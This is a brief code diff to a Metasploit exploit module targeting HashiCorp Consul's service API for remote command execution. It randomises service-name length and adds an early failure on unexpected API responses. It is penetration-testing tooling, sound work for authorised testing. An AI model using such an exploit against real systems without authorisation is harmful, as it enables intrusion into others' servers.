Bail early if we receive an unexpected response.

modules/exploits/multi/misc/consul_service_exec.rb

@@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def execute_command(cmd, opts = {})
     uri = target_uri.path
-    service_name = Rex::Text.rand_text_alpha(5)
+    service_name = Rex::Text.rand_text_alpha(5..10)
     print_status("Creating service '#{service_name}'")
 
     # NOTE: Timeout defines how much time the check script will run until
@@ -102,9 +102,10 @@ class MetasploitModule < Msf::Exploit::Remote
         }
       }.to_json
     })
-    if res and res.code == 200
-      print_status("Service '#{service_name}' successfully created.")
+    unless res && res.code == 200
+      fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
     end
+    print_status("Service '#{service_name}' successfully created.")
     print_status("Waiting for service '#{service_name}' script to trigger")
     sleep(12)
     print_status("Removing service '#{service_name}'")